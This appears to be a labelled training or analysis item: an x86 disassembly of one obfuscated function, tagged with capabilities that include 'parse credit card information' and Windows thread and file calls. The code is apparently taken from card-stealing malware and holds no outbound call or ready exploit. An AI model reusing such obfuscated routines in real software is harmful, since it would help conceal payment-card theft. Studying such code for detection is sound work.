Function at 0x4022bf
Capabilities:
Create thread
Parse credit card information
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0x377
xor edx, edx
div ebx
push esi
mov eax, ebx
mov cl, 0x34
push edi
mov edi, 0x118
mov esi, edx
xor edx, edx
div ebx
xor esi, dword [ebp + 0xc]
xor esi, edi
or esi, 0xe3
mov al, dl
imul cl
mov cl, al
sub cl, 0x53
cmp ebx, 0x15
jne 0x40230f
movzx esi, si
mov eax, 0x207
xor edx, edx
div esi
mov esi, dword [ebp + 0xc]
sub esi, edx
jmp 0x402336
cmp ebx, 0x35
jae 0x402326
movzx esi, si
mov eax, ebx
xor edx, edx
div esi
or dx, 0x34d
mov esi, edx
jmp 0x402336
cmp ebx, 0xe95c
jne 0x402336
mov eax, 0x443523
mov dword [ebp - 8], eax
mov ebx, 0xae
sub ebx, esi
cmp cl, 0xad
jne 0x40238d
cmp dword [ebp + 0xc], 0x56a5
jne 0x40238d
cmp dword [ebp + 8], 0xe95c
jne 0x402366
mov ecx, dword [ebp - 8]
movzx eax, bx
lea eax, [ecx + eax - 0x98e6]
mov dword [ebp - 8], eax
jmp 0x40238d
cmp dword [ebp + 8], 0xb
jne 0x40238d
push 0xb
push 0x56a5
push 0x3bd
push 0x10b
push 0x11c
push 0xff3084cc
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFileEx]
mov al, cl
xor al, 0x62
cmp al, 0x3e
mov byte [ebp - 1], al
jne 0x4024c3
push 0x4a
pop eax
cmp ecx, eax
je 0x40277d
cmp ecx, 0xe95c
jne 0x402497
mov eax, dword [ebp + 0xc]
cmp eax, 0x3c
jne 0x4023e8
movzx eax, bx
lea ecx, [eax + 0x3c]
add eax, 0x205
or cl, 0xa6
push ecx
push eax
push 0xe95c
push 0x3c
push 0xffffffffffffffdb
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
jmp 0x4024e2
cmp eax, 0x56a5
jne 0x40244e
cmp bx, 0x2f
jae 0x40240b
push eax
push 0xffffff6f
push 0x14
push 0xe95c
push 0x3e
call esi
jmp 0x4024e2
cmp bx, 0x5b
jb 0x4024e2
cmp bx, 0xabc3
jne 0x40242e
mov eax, dword [ebp - 8]
mov eax, dword [eax]
add eax, 0x29fb5
mov dword [ebp - 0x10], eax
jmp 0x4024e2
cmp bx, 0x19
jae 0x40243d
mov byte [ebp - 1], 0x54
jmp 0x4024e2
cmp bx, 7
jae 0x4024e2
mov al, 0x5c
jmp 0x40277d
cmp eax, 0x13
je 0x402794
cmp eax, 0x31
ja 0x40248a
movzx ecx, bx
mov eax, ecx
xor edx, edx
and eax, 0xea32
mov edi, 0xfa
push eax
mov eax, ecx
div edi
add ecx, 0x133
xor ecx, dword [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push ecx
push 0x3e
call dword [sym.imp.KERNEL32.dll_LockFile]
jmp 0x4024e2
cmp eax, 0x3a
jne 0x4024e2
and bl, 8
mov byte [ebp - 1], bl
jmp 0x4024e2
cmp ecx, 0x57
jae 0x4024e2
movzx eax, bx
add eax, 0x73
xor edx, edx
push eax
mov eax, dword [ebp + 8]
mov ecx, 0x2e7
div ecx
sub edi, edx
and edi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0xc]
jmp 0x402404
cmp al, 8
jae 0x4024e2
movzx ecx, bx
mov eax, 0x18f
xor edx, edx
div ecx
movzx ecx, byte [ebp - 1]
xor edx, edx
div ecx
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edi, dword [ebp + 0xc]
mov ecx, edi
xor ecx, 0xfeee
cmp cx, 0xa84b
jne 0x402518
mov eax, 0x43ec0f
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
mov al, byte [ebp - 1]
cmp al, 0x44
ja 0x402564
cmp al, 0x3e
jne 0x402545
cmp cx, 0x51
jae 0x402529
sub cl, 0x69
mov byte [ebp - 1], cl
jmp 0x402564
cmp cx, 0x25
jae 0x4024fc
mov ebx, dword [ebp + 8]
lea ecx, [ebx + 0x125]
jmp 0x4024ff
cmp cx, 0x4e
jae 0x402535
mov byte [ebp - 1], 0x24
jmp 0x402564
cmp cx, 0xa84b
jne 0x402564
add dword [ebp - 8], 0x2429
jmp 0x402564
cmp al, 0x5e
jbe 0x402564
movzx ecx, cx
movzx eax, al
push ecx
mov ecx, edi
or cx, 0x6cd
xor eax, ebx
push ecx
xor eax, 0x1ae
push edi
push eax
push edi
call esi
mov eax, 0x14b
xor edx, edx
div ebx
mov ecx, dword [ebp + 0xc]
mov esi, dword [ebp - 8]
cmp ecx, 0x56a5
mov dword [ebp - 0xc], esi
mov eax, edx
mov dword [ebp - 0x1c], eax
jne 0x4025a5
mov eax, 0x83
xor edx, edx
div ebx
mov esi, eax
movzx eax, byte [ebp - 1]
sub esi, 0x28a
or esi, eax
add esi, 0x31d0
mov dword [ebp - 8], esi
jmp 0x4025c2
cmp ecx, 0x17
jbe 0x40277d
push 0x60
pop eax
cmp ecx, eax
je 0x40277d
cmp ecx, 0x29
jb 0x402787
and dword [ebp - 0x14], 0
test esi, esi
jbe 0x40277a
push 0x7b
xor edx, edx
pop eax
mov byte [ebp - 2], bl
div ecx
mov cl, 3
mov edi, 0xe95c
add eax, ebx
mov dword [ebp - 0x18], eax
mov al, byte [ebp + 0xc]
imul cl
sub byte [ebp - 2], al
mov al, byte [ebp - 2]
mov esi, dword [ebp - 0x18]
mov byte [ebp - 1], al
mov eax, dword [ebp + 8]
cmp eax, 0x52
ja 0x40260a
mov cl, byte [ebp - 1]
sub cl, 0x64
xor cl, al
mov byte [ebp - 1], cl
jmp 0x402652
cmp eax, 0x53
jae 0x402621
mov eax, 0x3da
xor edx, edx
div dword [ebp + 0xc]
add dl, 0x3a
add byte [ebp - 1], dl
jmp 0x402652
cmp eax, edi
jne 0x402649
movzx eax, byte [ebp - 1]
movzx ecx, si
add eax, 0x318
and eax, ecx
mov ecx, dword [ebp - 0xc]
mov al, byte [eax + ecx - 0x104]
push eax
call fcn.0040149a
pop ecx
mov byte [ebp - 3], al
jmp 0x402652
cmp eax, 9
jb 0x402782
movzx ax, byte [ebp - 1]
mov ecx, dword [ebp + 0xc]
add eax, esi
and eax, 0x259
cmp ecx, 0x39
jb 0x402787
cmp ecx, 0x18
jae 0x402677
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
jmp 0x4026d1
cmp ecx, 0x56a5
jne 0x4026c3
cmp si, di
jne 0x4026a2
mov ecx, dword [ebp - 0xc]
movzx eax, ax
or eax, 0xf0a6e0
mov al, byte [eax + ecx - 0xf0a6e8]
push eax
call fcn.0040149a
pop ecx
mov byte [ebp - 4], al
jmp 0x4026d1
cmp si, 3
jne 0x4026ad
push 3
pop esi
jmp 0x4026d1
cmp si, 0x4b
jne 0x4026d1
movzx eax, ax
xor edx, edx
mov ecx, 0x12e
div ecx
mov esi, edx
jmp 0x4026d1
cmp ecx, 0x58
jbe 0x4026d1
cmp ecx, 0x2c
jb 0x40278b
imul esi, esi, 0x340
add esi, 0xee
cmp dword [ebp + 8], edi
mov ebx, esi
jne 0x4026fb
mov al, byte [ebp - 3]
mov edx, dword [ebp - 0x10]
movzx ecx, byte [ebp - 1]
shl al, 4
or al, byte [ebp - 4]
sub edx, ecx
mov byte [edx + 0x6d], al
jmp 0x402707
cmp dword [ebp + 8], 0x2a
jne 0x402707
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp bx, 0x27
jne 0x402719
mov al, byte [ebp - 1]
sub al, 0x3a
xor al, 0x3f
mov byte [ebp - 1], al
jmp 0x40272b
cmp bx, 0x6bee
jne 0x402725
inc dword [ebp - 0x10]
jmp 0x40272b
cmp bx, 0x2b
jb 0x40278b
cmp byte [ebp - 1], 0x25
jae 0x402739
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
jmp 0x40276a
cmp byte [ebp - 1], 0x6d
jne 0x40276a
cmp bx, 0x6bee
jne 0x40274c
add dword [ebp - 0xc], 2
jmp 0x40276a
cmp bx, 0x5b
jb 0x402790
cmp bx, 0x38
je 0x40276a
cmp bx, 0x27
jb 0x402794
cmp bx, 0x11
je 0x40276a
cmp bx, 6
je 0x402798
add dword [ebp - 0x14], 2
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 8]
jb 0x4025ec
mov al, byte [ebp - 0x1c]
pop edi
pop esi
pop ebx
leave
ret
mov al, byte [ebp + 0xc]
jmp 0x40277d
mov al, cl
jmp 0x40277d
mov al, byte [ebp - 1]
jmp 0x40277d
mov al, 0x6d
jmp 0x40277d
mov al, bl
jmp 0x40277d
mov al, 6
jmp 0x40277d